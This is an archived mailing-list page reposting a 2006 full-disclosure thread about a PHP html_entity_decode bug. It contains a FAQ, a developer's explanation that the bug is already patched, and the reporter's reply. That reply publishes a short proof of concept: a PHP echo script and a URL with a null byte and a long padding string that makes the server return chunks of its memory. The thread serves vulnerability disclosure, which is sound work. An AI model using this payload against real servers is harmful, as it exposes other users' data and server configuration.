ðòïåëôù 


  áòèé÷ 


Apache-Talk @lexa.ru 

Inet-Admins @info.east.ru 

Filmscanners @halftone.co.uk 

Security-alerts @yandex-team.ru 

nginx-ru @sysoev.ru 

  óôáôøé 


  ðåòóïîáìøîïå 


  ðòïçòáííù 



ðéûéôå
ðéóøíá














     áòèé÷ :: Security-alerts
Security-Alerts mailing list archive (security-alerts@yandex-team.ru)

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[security-alerts] PHP bug



-------------------------------
I got lot of mails about topic, so I try to make FAQ here.

Q: Is it remote or local exploit?
A: Both. Works 100% for local and less for remote.

Q: Looking weird ascii WHERE?
A: in $_GET, $_POST, $_COOKIE and $_REQUEST. This should help in most cases.

Q: Why did you posted so few information?
A: More seems to be dangerous. I hope this case it is possible to fight 
problem before real 0day is coming out.

Q: Which exact PHP versions are affected?
A: I believe ALL of them. I am running 5.0.4 coming with SuSE 10 and all 
updates but I received reports for other distributions and PHP 4 and 5 both 
are vulnerable.

One more thing - many people mail me from public webmail accounts telling "I 
am the admin of big bank, can you tell details?". Sorry, I do not know if you 
are real or not. 

   Tõnu

> -----Original Message-----
> From: Stefan Esser [mailto:sesser@xxxxxxx] 
> Sent: Tuesday, March 28, 2006 10:25 PM
> To: T?nu Samuel
> Cc: full-disclosure@xxxxxxxxxxxxxxxxx; bugtraq@xxxxxxxxxxxxxxxxx
> Subject: Re: [Full-disclosure] Critical PHP bug - act ASAP if 
> you are running web with sensitive data
> 
> Hello,
> 
> just to stop this:
> 
> The bug is a binary safety issue in html_entity_decode. A 
> function that
> is not usually used on user input, because user input is usually not
> expected in HTML format and then decoded. Even if the function is used
> on user input it can only leak memory to a potential attacker if the
> decoded user input is send back to the client.
> 
> The bug was found in late February by one of the japanese PHP 
> developers
> and was fixed in CVS one day later. Because the bug is a local memory
> leak it was not considered top critical and is among the 
> usual bugfixes.
> PHP 5.1.3-RC1 which was released in the beginning of March 
> already fixes
> this issue.
> 
> Stefan
> 


Message: 16
Date: Tue, 28 Mar 2006 22:58:12 +0300
From: T?nu Samuel <tonu@xxxxxx>
Subject: Re: [Full-disclosure] Critical PHP bug - act ASAP if you are
        running web with sensitive data
To: Stefan Esser <sesser@xxxxxxx>
Cc: full-disclosure@xxxxxxxxxxxxxxxxx, bugtraq@xxxxxxxxxxxxxxxxx
Message-ID: <44299554.9050008@xxxxxx>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed

Stefan Esser wrote:

>The bug is a binary safety issue in html_entity_decode. A function that
>is not usually used on user input, because user input is usually not
>expected in HTML format and then decoded. Even if the function is used
>on user input it can only leak memory to a potential attacker if the
>decoded user input is send back to the client.
>
>The bug was found in late February by one of the japanese PHP developers
>and was fixed in CVS one day later. Because the bug is a local memory
>leak it was not considered top critical and is among the usual bugfixes.
>PHP 5.1.3-RC1 which was released in the beginning of March already fixes
>this issue.
>  
>
Nice! I was really nervous already as I got bombed with e-mails and I 
really did not  knew much more than was discovered. Meanwhile I am bit 
disappointed that we had nearly month such a bug in wild and software 
distributors like SuSE in my case did not published patches. I think as 
long enough time passed and I hope distributors maybe need to see it - I 
publish exploit. Sorry, this was discovered independently and for me it 
looks like very serious problem.

Script is:
<?php

   $foobar=html_entity_decode($_GET['foo']);
   echo $foobar;

?>

Running it with url:

http://hostname/index.php?foo=%00sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
 
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
 
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss

Returns chunk of memory with length equal of string supplied. But 
instead of k-s you see data like PHP code, PHP ini file, user data, Web 
pages served to other users and such.

There are different PHP applications are vulnerable to this exploit but 
this is not their fault.

    Tõnu


----------------------------------------------------





 




Copyright © Lexa Software, 1996-2009.